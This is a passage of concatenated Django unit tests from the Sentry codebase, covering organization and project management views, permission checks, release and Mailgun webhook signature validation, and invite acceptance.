        team_2 = self.create_team(name='bar', organization=organization)

        owner = self.user
        member = self.create_user('bar@example.com')

        TotpInterface().enroll(member)

        owner_om = OrganizationMember.objects.get(
            organization=organization,
            user=owner,
        )

        member_om = self.create_member(
            organization=organization,
            user=member,
            role='member',
            teams=[team_2],
        )

        path = reverse('sentry-organization-members', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-members.html')

        assert resp.context['organization'] == organization
        member_list = sorted(resp.context['member_list'], key=lambda x: x[0].id)

        assert member_list == [
            (owner_om, False, False),
            (member_om, False, True),
        ]

    def test_shows_access_requests_for_team_admin(self):
        organization = self.create_organization(
            name='foo',
            owner=self.user,
            flags=0,  # kill default allow_joinleave
        )
        team_1 = self.create_team(name='foo', organization=organization)
        team_2 = self.create_team(name='bar', organization=organization)

        team_admin = self.create_user('admin@example.com')
        self.create_member(
            organization=organization,
            user=team_admin,
            role='admin',
            teams=[team_1],
        )

        other_user = self.create_user('bar@example.com')
        other_member = self.create_member(
            organization=organization,
            user=other_user,
            role='member',
            teams=[],
        )

        request_1 = OrganizationAccessRequest.objects.create(
            member=other_member,
            team=team_1,
        )
        OrganizationAccessRequest.objects.create(
            member=other_member,
            team=team_2,
        )

        path = reverse('sentry-organization-members', args=[organization.slug])

        self.login_as(team_admin)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-members.html')

        assert resp.context['organization'] == organization
        assert len(resp.context['request_list']) == 1
        assert resp.context['request_list'][0] == request_1






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Organization, OrganizationStatus
from sentry.testutils import TestCase, PermissionTestCase


class RemoveOrganizationPermissionTest(PermissionTestCase):
    def setUp(self):
        super(RemoveOrganizationPermissionTest, self).setUp()
        self.path = reverse('sentry-remove-organization', args=[self.organization.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_team_admin_cannot_load(self):
        self.assert_team_admin_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class RemoveOrganizationTest(TestCase):
    def setUp(self):
        super(RemoveOrganizationTest, self).setUp()

        self.organization = self.create_organization(name='foo', owner=self.user)
        self.team = self.create_team(organization=self.organization)
        self.path = reverse('sentry-remove-organization', args=[self.organization.slug])

        self.login_as(self.user)

    def test_renders_with_context(self):
        resp = self.client.get(self.path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/remove-organization.html')

        assert resp.context['organization'] == self.organization
        assert resp.context['form']
        assert resp.context['team_list']

    def test_success(self):
        resp = self.client.post(self.path)

        assert resp.status_code == 302

        organization = Organization.objects.get(id=self.organization.id)

        assert organization.status == OrganizationStatus.PENDING_DELETION

    def test_cannot_remove_default(self):
        Organization.objects.all().delete()

        org = self.create_organization()

        self.login_as(self.user)

        with self.settings(SENTRY_SINGLE_ORGANIZATION=True):
            resp = self.client.post(self.path)

        assert resp.status_code == 302

        organization = Organization.objects.get(id=org.id)

        assert organization.status == OrganizationStatus.VISIBLE






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import Organization, OrganizationMember
from sentry.testutils import TestCase


class CreateOrganizationTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-create-organization')

    def test_renders_with_context(self):
        self.login_as(self.user)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/create-organization.html')
        assert resp.context['form']

    def test_valid_params(self):
        self.login_as(self.user)
        resp = self.client.post(self.path, {
            'name': 'bar',
        })
        assert resp.status_code == 302

        org = Organization.objects.get(name='bar')

        assert OrganizationMember.objects.filter(
            organization=org,
            user=self.user,
            role='owner',
        ).exists()

        team = org.team_set.get()

        redirect_uri = reverse('sentry-create-project', args=[org.slug])
        assert resp['Location'] == 'http://testserver%s?team=%s' % (
            redirect_uri, team.slug,
        )






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Project
from sentry.testutils import TestCase, PermissionTestCase
from sentry.utils.http import absolute_uri


class CreateProjectPermissionTest(PermissionTestCase):
    def setUp(self):
        super(CreateProjectPermissionTest, self).setUp()
        self.path = reverse('sentry-create-project', args=[self.organization.slug])

    def test_non_member_cannot_load(self):
        self.assert_non_member_cannot_access(self.path)

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_team_admin_can_load(self):
        self.assert_team_admin_can_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class CreateProjectTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization()
        self.create_team(organization=organization)
        path = reverse('sentry-create-project', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.get(path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/create-project.html')
        assert resp.context['organization'] == organization
        assert resp.context['form']

    def test_implicit_single_team(self):
        organization = self.create_organization()
        team = self.create_team(organization=organization, name='Foo', slug='foo')
        path = reverse('sentry-create-project', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.post(path, {
            'name': 'bar',
        })
        assert resp.status_code == 302, resp.context['form'].errors

        project = Project.objects.get(team__organization=organization, name='bar')

        assert project.team == team

        redirect_uri = '/{}/{}/settings/install/'.format(organization.slug, project.slug)
        assert resp['Location'] == absolute_uri(redirect_uri)

    def test_multiple_teams(self):
        organization = self.create_organization()
        team = self.create_team(organization=organization, name='Foo', slug='foo')
        team = self.create_team(organization=organization, name='Bar', slug='bar')
        path = reverse('sentry-create-project', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.post(path, {
            'name': 'bar',
            'team': team.slug,
        })
        assert resp.status_code == 302, resp.context['form'].errors

        project = Project.objects.get(team__organization=organization, name='bar')

        assert project.team == team

        redirect_uri = '/{}/{}/settings/install/'.format(organization.slug, project.slug)
        assert resp['Location'] == absolute_uri(redirect_uri)






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ManageProjectKeysTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-manage-project-keys', args=[self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_renders_with_required_context(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/projects/keys.html')
        assert 'key_list' in resp.context






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ProjectRuleTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-project-rules', args=[self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_simple(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/projects/rules/list.html')
        assert resp.context['organization'] == self.organization
        assert resp.context['team'] == self.team
        assert resp.context['project'] == self.project
        assert resp.context['rule_list']






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectKey
from sentry.testutils import TestCase


class RemoveProjectKeyTest(TestCase):
    def setUp(self):
        super(RemoveProjectKeyTest, self).setUp()
        self.key = ProjectKey.objects.create(project=self.project)

    @fixture
    def path(self):
        return reverse('sentry-remove-project-key', args=[self.organization.slug, self.project.slug, self.key.id])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path, 'POST')

    def test_removes_key_and_redirects(self):
        self.login_as(self.user)

        resp = self.client.post(self.path)
        assert resp.status_code == 302
        assert not ProjectKey.objects.filter(id=self.key.id).exists()






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Project, ProjectStatus
from sentry.testutils import TestCase, PermissionTestCase


class RemoveProjectPermissionTest(PermissionTestCase):
    def setUp(self):
        super(RemoveProjectPermissionTest, self).setUp()
        self.project = self.create_project(team=self.team)
        self.path = reverse('sentry-remove-project', args=[self.organization.slug, self.project.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_team_admin_can_load(self):
        self.assert_team_admin_can_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class RemoveProjectTest(TestCase):
    def setUp(self):
        super(RemoveProjectTest, self).setUp()
        self.owner = self.create_user(email='example@example.com', is_superuser=False)
        organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(name='bar', organization=organization)
        self.project = self.create_project(name='bar', team=self.team)
        self.path = reverse('sentry-remove-project', args=[organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path, 'POST')

    def test_renders_template_with_get(self):
        self.login_as(self.owner)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/projects/remove.html')
        assert resp.context['team'] == self.team
        assert resp.context['project'] == self.project

    def test_deletion_flow(self):
        self.login_as(self.owner)

        resp = self.client.post(self.path, {})
        assert resp.status_code == 302
        assert Project.objects.get(id=self.project.id).status == ProjectStatus.PENDING_DELETION






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import Organization
from sentry.testutils import TestCase, PermissionTestCase


class OrganizationSettingsPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationSettingsPermissionTest, self).setUp()
        self.path = reverse('sentry-organization-settings', args=[self.organization.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)


class OrganizationSettingsTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-settings', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-settings.html')

        assert resp.context['organization'] == organization
        assert resp.context['form']

    def test_saves(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-settings', args=[organization.slug])

        self.login_as(self.user)

        resp = self.client.post(path, {
            'name': 'bar',
            'slug': 'bar',
            'default_role': 'admin',
        })

        assert resp.status_code == 302

        organization = Organization.objects.get(id=organization.id)

        assert organization.name == 'bar'
        assert organization.slug == 'bar'
        assert organization.default_role == 'admin'






# -*- coding: utf-8 -*-

from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class EnvStatusTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-admin-status')

    def test_requires_auth(self):
        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 302)

    def test_renders_template(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 200)
        self.assertTemplateUsed(resp, 'sentry/admin/status/env.html')


class PackageStatusTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-admin-packages-status')

    def test_requires_auth(self):
        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 302)

    def test_renders_template(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 200)
        self.assertTemplateUsed(resp, 'sentry/admin/status/packages.html')


class MailStatusTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-admin-mail-status')

    def test_requires_auth(self):
        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 302)

    def test_renders_template(self):
        self.login_as(self.user)

        resp = self.client.get(self.path)
        self.assertEquals(resp.status_code, 200)
        self.assertTemplateUsed(resp, 'sentry/admin/status/mail.html')






from __future__ import absolute_import

import hmac

from django.core.urlresolvers import reverse
from exam import fixture
from hashlib import sha256
from mock import patch

from sentry.models import ProjectOption
from sentry.testutils import TestCase
from sentry.utils import json


class ReleaseWebhookTest(TestCase):
    def setUp(self):
        super(ReleaseWebhookTest, self).setUp()
        self.organization = self.create_organization()
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)
        self.token = 'a2587e3af83411e4a28634363b8514c2'
        self.signature = hmac.new(
            key=self.token.encode('utf-8'),
            msg=('dummy-{}'.format(self.project.id)).encode('utf-8'),
            digestmod=sha256,
        ).hexdigest()
        ProjectOption.objects.set_value(
            self.project, 'sentry:release-token', self.token)

    @fixture
    def path(self):
        return reverse('sentry-release-hook', kwargs={
            'project_id': self.project.id,
            'plugin_id': 'dummy',
            'signature': self.signature,
        })

    def test_invalid_signature(self):
        path = reverse('sentry-release-hook', kwargs={
            'project_id': self.project.id,
            'plugin_id': 'dummy',
            'signature': 'wrong',
        })
        resp = self.client.post(path)
        assert resp.status_code == 403

    @patch('sentry.plugins.plugins.get')
    def test_valid_signature(self, mock_plugin_get):
        MockPlugin = mock_plugin_get.return_value
        MockPlugin.is_enabled.return_value = True
        MockReleaseHook = MockPlugin.get_release_hook.return_value
        resp = self.client.post(self.path)
        assert resp.status_code == 204
        mock_plugin_get.assert_called_once_with('dummy')
        MockPlugin.get_release_hook.assert_called_once_with()
        MockReleaseHook.assert_called_once_with(self.project)
        assert MockReleaseHook.return_value.handle.call_count is 1

    @patch('sentry.plugins.plugins.get')
    def test_disabled_plugin(self, mock_plugin_get):
        MockPlugin = mock_plugin_get.return_value
        MockPlugin.is_enabled.return_value = False
        resp = self.client.post(self.path)
        assert resp.status_code == 403
        mock_plugin_get.assert_called_once_with('dummy')
        assert not MockPlugin.get_release_hook.called


class BuiltinReleaseWebhookTest(TestCase):
    def setUp(self):
        super(BuiltinReleaseWebhookTest, self).setUp()
        self.organization = self.create_organization()
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)
        self.token = 'a2587e3af83411e4a28634363b8514c2'
        self.signature = hmac.new(
            key=self.token.encode('utf-8'),
            msg=('builtin-{}'.format(self.project.id)).encode('utf-8'),
            digestmod=sha256,
        ).hexdigest()
        ProjectOption.objects.set_value(
            self.project, 'sentry:release-token', self.token)

    @fixture
    def path(self):
        return reverse('sentry-release-hook', kwargs={
            'project_id': self.project.id,
            'plugin_id': 'builtin',
            'signature': self.signature,
        })

    def test_invalid_params(self):
        resp = self.client.post(self.path, content_type='application/json')
        assert resp.status_code == 400

    def test_valid_params(self):
        resp = self.client.post(self.path, data=json.dumps({
            'version': 'a',
        }), content_type='application/json')
        assert resp.status_code == 201, resp.content
        data = json.loads(resp.content)
        assert data['version'] == 'a'






from __future__ import absolute_import

import json

from exam import fixture

from sentry.testutils import TestCase


class GroupEventJsonTest(TestCase):
    @fixture
    def path(self):
        return '/{}/{}/issues/{}/events/{}/json/'.format(
            self.organization.slug,
            self.project.slug,
            self.group.id,
            self.event.id,
        )

    def test_does_render(self):
        self.login_as(self.user)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        assert resp['Content-Type'] == 'application/json'
        data = json.loads(resp.content.decode('utf-8'))
        assert data['id'] == self.event.event_id






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase


class Error404Test(TestCase):
    urls = 'sentry.conf.urls'

    def test_renders(self):
        resp = self.client.get(reverse('error-404'))
        assert resp.status_code == 404
        self.assertTemplateUsed(resp, 'sentry/404.html')






from __future__ import absolute_import

from sentry.testutils import TestCase
from sentry.models import GroupSubscription
from sentry.utils.linksign import generate_signed_link


class UnsubscribeIssueNotificationsTest(TestCase):
    def test_renders(self):
        group = self.create_group()

        path = generate_signed_link(
            user=self.user,
            viewname='sentry-account-email-unsubscribe-issue',
            args=[group.id],
        )

        resp = self.client.get(path)

        assert resp.status_code == 200

    def test_process(self):
        group = self.create_group()

        path = generate_signed_link(
            user=self.user,
            viewname='sentry-account-email-unsubscribe-issue',
            args=[group.id],
        )

        resp = self.client.post(path, data={'op': 'unsubscribe'})

        assert resp.status_code == 302
        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=False,
        ).exists()

    def test_no_access(self):
        user = self.create_user('foo@example.com')
        group = self.create_group()

        path = generate_signed_link(
            user=user,
            viewname='sentry-account-email-unsubscribe-issue',
            args=[group.id],
        )

        resp = self.client.get(path)

        assert resp.status_code == 404

    def test_invalid_issue(self):

        path = generate_signed_link(
            user=self.user,
            viewname='sentry-account-email-unsubscribe-issue',
            args=[13413434],
        )

        resp = self.client.get(path)

        assert resp.status_code == 404






from __future__ import absolute_import






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import TagKey
from sentry.testutils import TestCase


class ProjectTagsTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-manage-project-tags', args=[self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_simple(self):
        TagKey.objects.create(project=self.project, key='site')
        TagKey.objects.create(project=self.project, key='url')
        TagKey.objects.create(project=self.project, key='os')

        self.login_as(self.user)

        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed('sentry/projects/manage_tags.html')
        assert resp.context['organization'] == self.organization
        assert resp.context['team'] == self.team
        assert resp.context['project'] == self.project
        tag_list = [t.key for t in resp.context['tag_list']]
        assert 'site' in tag_list
        assert 'url' in tag_list
        assert 'os' in tag_list






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ProjectNotificationsTest(TestCase):
    def setUp(self):
        super(ProjectNotificationsTest, self).setUp()
        self.owner = self.create_user()
        self.organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)

    @fixture
    def path(self):
        return reverse('sentry-project-notifications', args=[
            self.organization.slug, self.project.slug,
        ])

    def test_renders_with_context(self):
        self.login_as(self.owner)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/project-notifications.html')
        assert resp.context['project'] == self.project






from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.models import ProjectKey
from sentry.testutils import TestCase


class NewProjectKeyTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry-new-project-key', args=[self.organization.slug, self.project.slug])

    def test_requires_authentication(self):
        self.assertRequiresAuthentication(self.path)

    def test_generates_new_key_and_redirects(self):
        keycount = ProjectKey.objects.filter(project=self.project).count()
        self.login_as(self.user)

        resp = self.client.post(self.path)
        assert resp.status_code == 302
        newkeycount = ProjectKey.objects.filter(project=self.project).count()
        assert newkeycount == keycount + 1






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class HomeTest(TestCase):
    @fixture
    def path(self):
        return reverse('sentry')

    def test_redirects_to_login(self):
        resp = self.client.get(self.path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-login')

    def test_redirects_to_create_org(self):
        self.login_as(self.user)

        with self.feature('organizations:create'):
            resp = self.client.get(self.path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-create-organization')

    def test_shows_no_access(self):
        self.login_as(self.user)

        with self.feature('organizations:create', False):
            resp = self.client.get(self.path)

        assert resp.status_code == 403
        self.assertTemplateUsed('sentry/no-organization-access.html')

    def test_redirects_to_org_home(self):
        self.login_as(self.user)
        org = self.create_organization(owner=self.user)

        with self.feature('organizations:create'):
            resp = self.client.get(self.path)

        assert resp.status_code == 302
        assert resp['Location'] == 'http://testserver' + reverse('sentry-organization-home', args=[org.slug])






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ProjectIssueTrackingTest(TestCase):
    def setUp(self):
        super(ProjectIssueTrackingTest, self).setUp()
        self.owner = self.create_user()
        self.organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)

    @fixture
    def path(self):
        return reverse('sentry-project-issue-tracking', args=[
            self.organization.slug, self.project.slug,
        ])

    def test_renders_with_context(self):
        self.login_as(self.owner)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/project-issue-tracking.html')
        assert resp.context['project'] == self.project






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from exam import fixture

from sentry.testutils import TestCase


class ProjectReleaseTrackingTest(TestCase):
    def setUp(self):
        super(ProjectReleaseTrackingTest, self).setUp()
        self.owner = self.create_user()
        self.organization = self.create_organization(owner=self.owner)
        self.team = self.create_team(organization=self.organization)
        self.project = self.create_project(team=self.team)

    @fixture
    def path(self):
        return reverse('sentry-project-release-tracking', args=[
            self.organization.slug, self.project.slug,
        ])

    def test_renders_with_context(self):
        self.login_as(self.owner)
        resp = self.client.get(self.path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/project-release-tracking.html')
        assert resp.context['project'] == self.project






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import ApiKey
from sentry.testutils import TestCase, PermissionTestCase


class OrganizationApiKeySettingsPermissionTest(PermissionTestCase):
    def setUp(self):
        super(OrganizationApiKeySettingsPermissionTest, self).setUp()
        key = ApiKey.objects.create(organization=self.organization)
        self.path = reverse('sentry-organization-api-key-settings', args=[
            self.organization.slug, key.id
        ])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)

    def test_manager_cannot_load(self):
        self.assert_manager_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)


class OrganizationApiKeySettingsTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization(name='foo', owner=self.user)

        key = ApiKey.objects.create(organization=organization)

        path = reverse('sentry-organization-api-key-settings', args=[
            organization.slug, key.id,
        ])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 200

        self.assertTemplateUsed(resp, 'sentry/organization-api-key-settings.html')

        assert resp.context['organization'] == organization
        assert resp.context['key'] == key

    def test_not_found(self):
        organization = self.create_organization(name='foo', owner=self.user)

        path = reverse('sentry-organization-api-key-settings', args=[
            organization.slug, 99999,
        ])

        self.login_as(self.user)

        resp = self.client.get(path)

        assert resp.status_code == 404






from __future__ import absolute_import

from django.core import mail
from django.core.urlresolvers import reverse

from sentry.models import OrganizationMember
from sentry.testutils import PermissionTestCase, TestCase


class CreateOrganizationMemberPermissionTest(PermissionTestCase):
    def setUp(self):
        super(CreateOrganizationMemberPermissionTest, self).setUp()
        self.path = reverse('sentry-create-organization-member', args=[self.organization.slug])

    def test_teamless_admin_cannot_load(self):
        self.assert_teamless_admin_cannot_access(self.path)

    def test_owner_can_load(self):
        self.assert_owner_can_access(self.path)

    def test_member_cannot_load(self):
        self.assert_member_cannot_access(self.path)


class CreateOrganizationMemberTest(TestCase):
    def test_renders_with_context(self):
        organization = self.create_organization()
        path = reverse('sentry-create-organization-member', args=[organization.slug])
        self.login_as(self.user)
        resp = self.client.get(path)
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/create-organization-member.html')
        assert resp.context['organization'] == organization
        assert resp.context['form']

    def test_valid_for_invites(self):
        organization = self.create_organization(name='Default')
        path = reverse('sentry-create-organization-member', args=[organization.slug])
        self.login_as(self.user)

        with self.settings(SENTRY_ENABLE_INVITES=True), self.tasks():
            resp = self.client.post(path, {
                'email': 'foo@example.com',
            })
        assert resp.status_code == 302

        member = OrganizationMember.objects.get(
            organization=organization,
            email='foo@example.com',
        )

        assert member.user is None

        redirect_uri = reverse('sentry-organization-member-settings', args=[organization.slug, member.id])
        assert resp['Location'] == 'http://testserver' + redirect_uri

        assert len(mail.outbox) == 1
        assert mail.outbox[0].to == ['foo@example.com']
        assert mail.outbox[0].subject == 'Join Default in using Sentry'

    def test_existing_user_for_invite(self):
        organization = self.create_organization()
        path = reverse('sentry-create-organization-member', args=[organization.slug])
        self.login_as(self.user)

        user = self.create_user('foo@example.com')

        member = OrganizationMember.objects.create(
            organization=organization,
            user=user,
            role='member',
        )

        with self.settings(SENTRY_ENABLE_INVITES=True):
            resp = self.client.post(path, {
                'email': 'foo@example.com',
            })

        assert resp.status_code == 302

        member = OrganizationMember.objects.get(id=member.id)

        assert member.email is None

        redirect_uri = reverse('sentry-organization-member-settings', args=[organization.slug, member.id])
        assert resp['Location'] == 'http://testserver' + redirect_uri

    def test_valid_for_direct_add(self):
        organization = self.create_organization()
        path = reverse('sentry-create-organization-member', args=[organization.slug])
        self.login_as(self.user)

        user = self.create_user('foo@example.com')

        with self.settings(SENTRY_ENABLE_INVITES=False):
            resp = self.client.post(path, {
                'user': 'foo@example.com',
            })
        assert resp.status_code == 302

        member = OrganizationMember.objects.get(
            organization=organization,
            user=user,
        )

        assert member.email is None

        redirect_uri = reverse('sentry-organization-member-settings', args=[organization.slug, member.id])
        assert resp['Location'] == 'http://testserver' + redirect_uri

    def test_invalid_user_for_direct_add(self):
        organization = self.create_organization()
        path = reverse('sentry-create-organization-member', args=[organization.slug])
        self.login_as(self.user)

        with self.settings(SENTRY_ENABLE_INVITES=False):
            resp = self.client.post(path, {
                'user': 'bar@example.com',
            })

        assert resp.status_code == 200
        assert 'user' in resp.context['form'].errors






from __future__ import absolute_import

from django.core.urlresolvers import reverse
from six import BytesIO

from sentry.models import File, UserAvatar
from sentry.testutils import TestCase
from sentry.web.frontend.generic import FOREVER_CACHE


class UserAvatarTest(TestCase):
    def test_headers(self):
        user = self.create_user(email='a@example.com')
        photo = File.objects.create(name='test.png', type='avatar.file')
        photo.putfile(BytesIO(b'test'))
        avatar = UserAvatar.objects.create(user=user, file=photo)
        url = reverse('sentry-user-avatar-url', kwargs={'avatar_id': avatar.ident})
        response = self.client.get(url)
        assert response.status_code == 200
        assert response['Cache-Control'] == FOREVER_CACHE
        assert response.get('Vary') is None
        assert response.get('Set-Cookie') is None






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase


class Error500Test(TestCase):
    urls = 'sentry.conf.urls'

    def test_renders(self):
        resp = self.client.get(reverse('error-500'))
        assert resp.status_code == 500
        self.assertTemplateUsed(resp, 'sentry/500.html')






from __future__ import absolute_import, print_function

import mock

from django.core.urlresolvers import reverse

from sentry.testutils import TestCase
from sentry.utils.email import group_id_to_email

body_plain = "foo bar"


class TestMailgunInboundWebhookView(TestCase):
    def setUp(self):
        super(TestMailgunInboundWebhookView, self).setUp()
        self.event = self.create_event(event_id='a' * 32)
        self.mailto = group_id_to_email(self.group.pk)

    @mock.patch('sentry.web.frontend.mailgun_inbound_webhook.process_inbound_email')
    def test_invalid_signature(self, process_inbound_email):
        with self.options({'mail.mailgun-api-key': 'a' * 32}):
            resp = self.client.post(reverse('sentry-mailgun-inbound-hook'), {
                'recipient': self.mailto,
                'sender': self.user.email,
                'body-plain': body_plain,
                'signature': '',
                'token': '',
                'timestamp': '',
            })
            assert resp.status_code == 200

    @mock.patch('sentry.web.frontend.mailgun_inbound_webhook.process_inbound_email')
    def test_missing_api_key(self, process_inbound_email):
        resp = self.client.post(reverse('sentry-mailgun-inbound-hook'), {
            'recipient': self.mailto,
            'sender': self.user.email,
            'body-plain': body_plain,
            'signature': '',
            'token': '',
            'timestamp': '',
        })
        assert resp.status_code == 500

    @mock.patch('sentry.web.frontend.mailgun_inbound_webhook.process_inbound_email')
    def test_simple(self, process_inbound_email):
        token = 'a' * 50
        timestamp = '1422513193'
        signature = '414a4705e6c12a39905748549f9135fbe8b739a5b12b2349ee40f31d3ee12f83'

        with self.options({'mail.mailgun-api-key': 'a' * 32}):
            resp = self.client.post(reverse('sentry-mailgun-inbound-hook'), {
                'recipient': self.mailto,
                'sender': self.user.email,
                'body-plain': body_plain,
                'signature': signature,
                'token': token,
                'timestamp': timestamp,
            })
        assert resp.status_code == 201
        process_inbound_email.delay.assert_called_once_with(
            self.user.email,
            self.group.id,
            body_plain,
        )






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import AuditLogEntry, AuditLogEntryEvent, OrganizationMember
from sentry.testutils import TestCase


class AcceptInviteTest(TestCase):
    def setUp(self):
        super(AcceptInviteTest, self).setUp()
        self.organization = self.create_organization(
            owner=self.create_user('foo@example.com'),
        )
        self.user = self.create_user('bar@example.com')

    def test_invalid_member_id(self):
        resp = self.client.get(reverse('sentry-accept-invite', args=[1, 2]))
        assert resp.status_code == 302

    def test_invalid_token(self):
        om = OrganizationMember.objects.create(
            email='newuser@example.com',
            token='abc',
            organization=self.organization,
        )
        resp = self.client.get(reverse('sentry-accept-invite', args=[om.id, 2]))
        assert resp.status_code == 302

    def test_renders_unauthenticated_template(self):
        om = OrganizationMember.objects.create(
            email='newuser@example.com',
            token='abc',
            organization=self.organization,
        )
        resp = self.client.get(reverse('sentry-accept-invite', args=[om.id, om.token]))
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/accept-organization-invite.html')
        assert resp.context['needs_authentication']

    def test_renders_authenticated_template(self):
        self.login_as(self.user)

        om = OrganizationMember.objects.create(
            email='newuser@example.com',
            token='abc',
            organization=self.organization,
        )
        resp = self.client.get(reverse('sentry-accept-invite', args=[om.id, om.token]))
        assert resp.status_code == 200
        self.assertTemplateUsed(resp, 'sentry/accept-organization-invite.html')
        assert not resp.context['needs_authentication']

    def test_can_accept_while_authenticated(self):
        self.login_as(self.user)

        om = OrganizationMember.objects.create(
            email='newuser@example.com',
            role='member',
            token='abc',
            organization=self.organization,
        )
        resp = self.client.post(reverse('sentry-accept-invite', args=[om.id, om.token]))
        assert resp.status_code == 302

        om = OrganizationMember.objects.get(id=om.id)
        assert om.email is None
        assert om.user == self.user

        ale = AuditLogEntry.objects.get(
            organization=self.organization,
            event=AuditLogEntryEvent.MEMBER_ACCEPT,
